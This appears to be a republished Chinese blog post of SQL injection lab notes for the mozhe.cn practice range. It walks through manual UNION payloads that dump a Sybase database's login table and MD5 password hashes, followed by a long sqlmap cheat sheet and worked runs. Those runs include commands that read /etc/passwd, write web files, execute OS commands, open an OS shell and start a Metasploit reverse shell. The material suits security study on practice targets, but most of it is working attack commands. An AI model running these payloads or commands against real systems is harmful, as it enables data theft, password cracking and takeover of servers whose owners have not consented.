Sybase聯合注入
Sybase資料庫介紹:Sybase是美國Sybase公司研制的一種關系型資料庫系統,是一種典型的UNIX或WindowsNT平臺上客戶機/服務器環境下的大型資料庫系統,
靶場:https://www.mozhe.cn/bug/detail/88

還是老樣子 and 1=1,and 1=2 判斷注入,order by判斷列數,列數有4列

同Oracle資料庫,猜顯位,
union all select ‘null’,null,null,null
union all select null,‘null’,null,null
union all select null,null,‘null’,null
union all select null,null,null,‘null’
這里在第二個null的時候回顯了

猜資料庫名,用db_name() 來獲取資料庫
-1 union all select null,db_name(),null,null //mozhe_Deepthroat
-1 union all select null,db_name(0),null,null //master
-1 union all select null,db_name(2),null,null //tempdb
-1 union all select null,db_name(3),null,null //model

猜列名,dbo.sysobjects:存盤表名
-1 union all select null,name,null,null from mozhe_Deepthroat.dbo.sysobjects //Deepthroat_login
-1 union all select null,name,null,null from mozhe_Deepthroat.dbo.sysobjects where name<>‘Deepthroat_login’ //notice
-1 union all select null,name,null,null from mozhe_Deepthroat.dbo.sysobjects where name<>‘Deepthroat_login’ and name<>‘sysalternates’ //sysalternates
-1 union all select null,name,null,null from mozhe_Deepthroat.dbo.sysobjects where name<>‘Deepthroat_login’ and name<>‘notice’ and name<>‘sysalternates’ //sysattributes

獲取Deepthroat_login列名資訊,dbo.syscolumns來獲取欄位
-1 union all select null,name,null,null from mozhe_Deepthroat.dbo.syscolumns //uid
-1 union all select null,name,null,null from mozhe_Deepthroat.dbo.syscolumns where name<>‘uid’ //type
-1 union all select null,name,null,null from mozhe_Deepthroat.dbo.syscolumns where name<>‘uid’ and name<>‘type’ //id
這樣爆欄位的話有點費時間,所以我們可以選擇系結表名,where id=object_id(‘Deepthroat_login’)
union all select null,name,null,null from mozhe_Deepthroat.dbo.syscolumns where id=object_id(‘Deepthroat_login’)//id
union all select null,name,null,null from mozhe_Deepthroat.dbo.syscolumns where id=object_id(‘Deepthroat_login’) and name<>‘id’ //name
-1 union all select null,name,null,null from mozhe_Deepthroat.dbo.syscolumns where id=object_id(‘Deepthroat_login’) and name<>‘id’ and name<>‘name’ //password

獲取資料
-1 union all select null,name,null,null from Deepthroat_login //zhang
-1 union all select null,name,null,null from Deepthroat_login where name<>‘zhang’ //mozhe
-1 union all select null,password,null,null from Deepthroat_login //zhang&password
-1 union all select null,password,null,null from Deepthroat_login where name<>‘zhang’ //mozhe&password

最后拿到密碼MD5解密進入后臺

SQLMAP-下載&安裝&使用&說明
python官網下載地址:https://www.python.org/downloads/
sqlmap下載地址:https://github.com/sqlmapproject/sqlmap
sqlmap 的原始碼學習筆記一之目錄結構:https://blog.csdn.net/qq_21500173/article/details/53648696
sqlmap簡介
sqlmap支持MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等資料庫的各種安全漏洞檢測,
sqlmap支持五種不同的注入模式:
l 基于布爾的盲注,即可以根據回傳頁面判斷條件真偽的注入;
l 基于時間的盲注,即不能根據頁面回傳內容判斷任何資訊,用條件陳述句查看時間延遲陳述句是否執行(即頁面回傳時間是否增加)來判斷;
l 基于報錯注入,即頁面會回傳錯誤資訊,或者把注入的陳述句的結果直接回傳在頁面中;
l 聯合查詢注入,可以使用union的情況下的注入;
l 堆查詢注入,可以同時執行多條陳述句的執行時的注入,
sqlmap&Tamper目錄
Tamper目錄包含了65種的繞過腳本,例如編碼繞過、注釋繞過等,

sqlmap超詳細筆記+思維導圖:https://www.cnblogs.com/bmjoker/p/9326258.html
基本操作筆記:-u #注入點
-f #指紋判別資料庫型別
-b #獲取資料庫版本資訊
-p #指定可測驗的引數(?page=1&id=2 -p "page,id")
-D "" #指定資料庫名
-T "" #指定表名
-C "" #指定欄位
-s "" #保存注入程序到一個檔案,還可中斷,下次恢復在注入(保存:-s "xx.log" 恢復:-s "xx.log" --resume)
--level=(1-5) #要執行的測驗水平等級,默認為1
--risk=(0-3) #測驗執行的風險等級,默認為1
--time-sec=(2,5) #延遲回應,默認為5
--data #通過POST發送資料
--columns #列出欄位
--current-user #獲取當前用戶名稱
--current-db #獲取當前資料庫名稱
--users #列資料庫所有用戶
--passwords #資料庫用戶所有密碼
--privileges #查看用戶權限(--privileges -U root)
-U #指定資料庫用戶
--dbs #列出所有資料庫
--tables -D "" #列出指定資料庫中的表
--columns -T "user" -D "mysql" #列出mysql資料庫中的user表的所有欄位
--dump-all #列出所有資料庫所有表
--exclude-sysdbs #只列出用戶自己新建的資料庫和表
--dump -T "" -D "" -C "" #列出指定資料庫的表的欄位的資料(--dump -T users -D master -C surname)
--dump -T "" -D "" --start 2 --top 4 # 列出指定資料庫的表的2-4欄位的資料
--dbms #指定資料庫(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)
--os #指定系統(Linux,Windows)
-v #詳細的等級(0-6)
0:只顯示Python的回溯,錯誤和關鍵訊息,
1:顯示資訊和警告訊息,
2:顯示除錯訊息,
3:有效載荷注入,
4:顯示HTTP請求,
5:顯示HTTP回應頭,
6:顯示HTTP回應頁面的內容
--privileges #查看權限
--is-dba #是否是資料庫管理員
--roles #列舉資料庫用戶角色
--udf-inject #匯入用戶自定義函式(獲取系統權限)
--union-check #是否支持union 注入
--union-cols #union 查詢表記錄
--union-test #union 陳述句測驗
--union-use #采用union 注入
--union-tech orderby #union配合order by
--data "" #POST方式提交資料(--data "page=1&id=2")
--cookie "用;號分開" #cookie注入(--cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”)
--referer "" #使用referer欺騙(--referer "http://www.baidu.com")
--user-agent "" #自定義user-agent
--proxy "http://127.0.0.1:8118" #代理注入
--string="" #指定關鍵詞,字串匹配.
--threads #采用多執行緒(--threads 3)
--sql-shell #執行指定sql命令
--sql-query #執行指定的sql陳述句(--sql-query "SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1" )
--file-read #讀取指定檔案
--file-write #寫入本地檔案(--file-write /test/test.txt --file-dest /var/www/html/1.txt;將本地的test.txt檔案寫入到目標的1.txt)
--file-dest #要寫入的檔案絕對路徑
--os-cmd=id #執行系統命令
--os-shell #系統互動shell
--os-pwn #反彈shell(--os-pwn --msf-path=/opt/framework/msf3/)
--msf-path= #matesploit絕對路徑(--msf-path=/opt/framework/msf3/)
--os-smbrelay #
--os-bof #
--reg-read #讀取win系統注冊表
--priv-esc #
--time-sec= #延遲設定 默認--time-sec=5 為5秒
-p "user-agent" --user-agent "sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)" #指定user-agent注入
--eta #盲注
/pentest/database/sqlmap/txt/
common-columns.txt 欄位字典
common-outputs.txt
common-tables.txt 表字典
keywords.txt
oracle-default-passwords.txt
user-agents.txt
wordlist.txt
常用陳述句 :
1./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -f -b --current-user --current-db --users --passwords --dbs -v 0
2./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --passwords -U root --union-use -v 2
3./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --dump -T users -C username -D userdb --start 2 --stop 3 -v 2
4./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --dump -C "user,pass" -v 1 --exclude-sysdbs
5./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --sql-shell -v 2
6./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --file-read "c:\boot.ini" -v 2
7./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --file-write /test/test.txt --file-dest /var/www/html/1.txt -v 2
8./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-cmd "id" -v 1
9./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-shell --union-use -v 2
10./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-pwn --msf-path=/opt/framework/msf3 --priv-esc -v 1
11./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-pwn --msf-path=/opt/framework/msf3 -v 1
12./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-bof --msf-path=/opt/framework/msf3 -v 1
13./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 --reg-add --reg-key="HKEY_LOCAL_NACHINE\SOFEWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1
14./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --eta
15./sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc"
16./sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" --auth-type Basic --auth-cred "testuser:testpass"
17./sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"
18./sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
19./sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo'" -v 1
20./sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --common-tables -D testdb --banner
21./sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --cookie="PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low" --string='xx' --dbs --level=3 -p "uid"
簡單的注入流程 :
1.讀取資料庫版本,當前用戶,當前資料庫
sqlmap -u http://www.xxxxx.com/test.php?p=2 -f -b --current-user --current-db -v 1
2.判斷當前資料庫用戶權限
sqlmap -u http://www.xxxxx.com/test.php?p=2 --privileges -U 用戶名 -v 1
sqlmap -u http://www.xxxxx.com/test.php?p=2 --is-dba -U 用戶名 -v 1
3.讀取所有資料庫用戶或指定資料庫用戶的密碼
sqlmap -u http://www.xxxxx.com/test.php?p=2 --users --passwords -v 2
sqlmap -u http://www.xxxxx.com/test.php?p=2 --passwords -U root -v 2
4.獲取所有資料庫
sqlmap -u http://www.xxxxx.com/test.php?p=2 --dbs -v 2
5.獲取指定資料庫中的所有表
sqlmap -u http://www.xxxxx.com/test.php?p=2 --tables -D mysql -v 2
6.獲取指定資料庫名中指定表的欄位
sqlmap -u http://www.xxxxx.com/test.php?p=2 --columns -D mysql -T users -v 2
7.獲取指定資料庫名中指定表中指定欄位的資料
sqlmap -u http://www.xxxxx.com/test.php?p=2 --dump -D mysql -T users -C "username,password" -s "sqlnmapdb.log" -v 2
8.file-read讀取web檔案
sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-read "/etc/passwd" -v 2
9.file-write寫入檔案到web
sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-write /localhost/mm.php --file使用sqlmap繞過防火墻進行注入測驗:
Sybase資料庫&sqlmap工具注入
python sqlmap.py -u “http://219.153.49.228:48522/new_list.php?id=1” # -u + 注入地址


新手直接回車 =v=


應該是存在注入了python sqlmap.py -u “http://219.153.49.228:48522/new_list.php?id=1” --dbs # --dbs 列出所有資料庫

python sqlmap.py -u “http://219.153.49.228:48522/new_list.php?id=1” --current-db # --current-db 獲取當前資料庫名稱

python sqlmap.py -u “http://219.153.49.228:48522/new_list.php?id=1” --tables # --tables 列出所有資料庫下的表

python sqlmap.py -u “http://219.153.49.228:48522/new_list.php?id=1” --tables -D “mozhe_Deepthroat” # --tables -D "" 列出指定資料庫中的表 
python sqlmap.py -u “http://219.153.49.228:48522/new_list.php?id=1” --columns -T “Deepthroat_login” -D “mozhe_Deepthroat” # --columns -T "user" -D "mysql" 列出mysql資料庫中的user表的所有欄位

Database: mozhe_Deepthroat
Table: Deepthroat_login
python sqlmap.py -u “http://219.153.49.228:48522/new_list.php?id=1” --dump -C “name,password” -T “Deepthroat_login” -D “mozhe_Deepthroat” #--dump -T "" -D "" -C "" 列出指定資料庫的表的欄位的資料(--dump -T users -D master -C surname)

do you want to crack them via a dictionary-based attack? //通過基于字典的攻擊來破解

拿到賬號和MD5加密后的密碼
Mysql資料庫&sqlmap工具注入
sqlmap快取問題

python sqlmap.py -u “http://219.153.49.228:40080/new_list.php?id=1” 發現這里的資料庫判斷的:Sybase
python sqlmap.py -u “http://219.153.49.228:40080/new_list.php?id=1” --tables 500報錯

記錄當前所有注入的日志:C:\Users\Administrator\AppData\Local\sqlmap\output\219.153.49.228



為了能夠注入,直接把快取刪掉再運行 python sqlmap.py -u “http://219.153.49.228:46152/new_list.php?id=1” --tables


接著同Sybase資料庫注入一樣,python sqlmap.py -u “http://219.153.49.228:46152/new_list.php?id=1” --current-db #當前資料庫 mozhe_Discuz_StormGroup

python sqlmap.py -u “http://219.153.49.228:46152/new_list.php?id=1” --tables -D “mozhe_Discuz_StormGroup” #獲取指定資料庫下所有表

python sqlmap.py -u “http://219.153.49.228:46152/new_list.php?id=1” --columns -D “mozhe_Discuz_StormGroup” -T “StormGroup_member” #獲取指定庫名、表名下的列名

python sqlmap.py -u “http://219.153.49.228:46152/new_list.php?id=1” --dump -D “mozhe_Discuz_StormGroup” -T “StormGroup_member” -C “name,password” #獲取指定庫名、表名、列名下的資料

拓展知識
手工:如果遇上這種 id=MQ== 的時候就需要整體編碼再注入
select * from title where id="MQ=="
select * from title where id=1
傳遞資料—>base64編碼—>組合sql陳述句—>執行回傳
sqlmap:python sqlmap.py -u " id=" --tamper=base64encode.py

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/281006.html
標籤:其他
